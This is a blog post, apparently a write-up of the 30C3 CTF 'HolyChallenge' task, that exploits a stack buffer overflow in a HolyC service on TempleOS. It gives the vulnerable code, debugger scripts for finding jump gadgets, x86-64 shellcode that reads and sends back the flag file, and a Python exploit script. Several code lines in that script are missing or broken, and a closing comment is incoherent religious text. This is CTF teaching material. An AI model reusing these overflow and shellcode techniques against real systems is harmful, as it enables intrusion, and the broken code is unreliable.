Sunday, December 29, 2013

30C3 CTF - HolyChallenge (pwn 500)

HolyChallenge was a 30C3 CTF pwn task in which you were could talk (via TCP→serial) with a few-line-of-code application with an obvious stack-based buffer overflow. Now here's the twist: the app was run under 64-bit x86 TempleOS and was written in HolyC (as is the rest of the system) :)

Apart from the network access you were also provided with a local image of TempleOS running the CTF app, which allowed us to both do local tests and dump it's disk content (it used a FAT partition). The CTF app found on the disk looked like this:

U0 service_main()
  CommBusyPutS(1, "Hi!\nWelcome to the HolyChall!\nWhats Your Name?\n");
  U8 buffer[128];
  CommBusyGetS(1, buffer); ← obvious buffer overflow
  CommBusyPutS(1, "Unfortunately, there is not much in here, ");
  CommBusyPutS(1, buffer);
  CommBusyPutS(1, ".\n");

U0 service_parent()
  U8 b[1024];
  CommBusyPutS(1, "Hope you still had some fun...\nBye!\n");


So at first this looks pretty terrifying (unknown OS/API/etc), but it turns out the local image was compiled with TempleOS system debugger, which actually is pretty awesome! It's like a C (well, HolyC actually) scripted SoftICE - when you sent the name as e.g. "A"*256 (and so crashed the app), you would instantly be put in the debugger and could see the registers, play with memory, read addresses, etc (that being said, it did change the context to some other process).

We started by checking if we could put NUL-bytes in the shellcode and if it actually really was as simple as it looked. We've done this by running a very simple HolyC script in the debugger that looked for the EB FE (jmp $) sequence in memory below current RIP:

U8 *y;
for(y=0; y<_RIP; y++) if(*y == 0xEB && *(y+1) == 0xFF) Print("%x\n", y);
Running this gave us a couple of addresses; we've picked one we liked, added it (as 64-bit address) to the end of a string of 128+8 "A" letters, and inputted the result as the name (we used tcp for tests instead of stdin). As expected, the code did not crash and the displayed CPU usage went up to 99% - good.

The rest of the task was to learn enough about the TempleOS API to be able to open the flag.TXT file, read it and send it using CommBusyPutS (that much was obvious) to the serial port, which would transmit it via network to us.

The source code of TempleOS was really useful here, since it quickly allowed us to learn about a FileRead function, which reads N bytes from a file. Next we used the debugger to get the addresses (the beauty of non-ASLR OSes) of these functions (using &FileRead; and &CommBusyPutS; commands), as well as another short script to find the sequence FF E4 (jmp rsp) in memory (to return to the stack). Once we had the addresses, we created a simple payload:

[bits 64]

; Give us some breathing space on the stack.
sub rsp, 0x100
mov rbp, rsp
sub rsp, 0x100

; Get the flag.
push 64
lea rax, [rel str1]
push rax
mov eax, 0x2e39b ; FileRead
call rax

; Send it.
push rax
push 1
mov eax, 0x1dcf0 ; CommBusyPutS
call rax

; Enter the debugger.

str1: db "Flag.TXT", 0

The payload worked locally, so it was time to attack the server. The server did require to find a collision for the first 32-bits of a given SHA1 hash in order to even attempt to exploit the challenge - this made us write a simple C program that looked for the collision and call it from our Python exploit (see the end of the post). Finally it worked and we got the flag:

Welcome to Holy Challenge!
Unfortunately, this challenge consumes much cpu on our servers so you have to waste some cpu cycles too :)

please give a base64 encoded chunk of data resulting in a sha1 hash starting with hex:79aa76aa
-- Work to do: 79aa76aa
Running: a.exe 79aa76aa>solved2.txt
Solution: TyMBBg==
Right, now we start a vm for you (it will be killed after 30 seconds).
Welcome to the HolyChall!
Whats Your Name?


The Python part of our exploit:

# Echo server program
import socket
import struct
import sys
import os
import base64

def RecvUntil(sock, txt):
  d = ""
  while d.find(txt) == -1:
      dnow = sock.recv(1024)
      if len(dnow) == 0:
        print "[WARNING] RecvUntil() failed at recv"
        return False
    except socket.error as msg:
      print "[WARNING] RecvUntil() failed:", msg
      return False

    d += dnow

  return d

HOST = ''
PORT = 2323
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = RecvUntil(s, "> ")
print data

work=data[data.find('hex:') + 4:]

print "-- Work to do:", work

to_run = "a.exe %s>solved.txt" % work
print "Running:", to_run


n = int(open("solved.txt", "r").read(), 16)
n = base64.b64encode(struct.pack("<I", n))
print "Solution:", n

s.sendall(n + "\n")

data = RecvUntil(s, "Whats Your Name?")
print data

JMP_RSP = struct.pack("<Q", 0x34094)

#shell = "asdf"
shell = ("A"*128) 
shell += ("B"*8)
shell += JMP_RSP

with open("shellcode", "rb") as f:
  shell +=

shell += "\n";


data = RecvUntil(s, ".")
print data

while True:
  d = s.recv(1024)
  if d == '':
  print "Recv:", d

A really fun task :)


  1. My website tells me where visitor links come from.

    Have you done any hymns? Has God talked? God is not a pwn.

    God says, "Caesar disorders weeping Paul infirmities- seeing sentences
    haled shameless Angel's stripped glass hated here manhood
    afternoon ministry accounted hastened anyone consuming
    Grammar arts kindly unshaken abundantly true *END justifieth
    promising "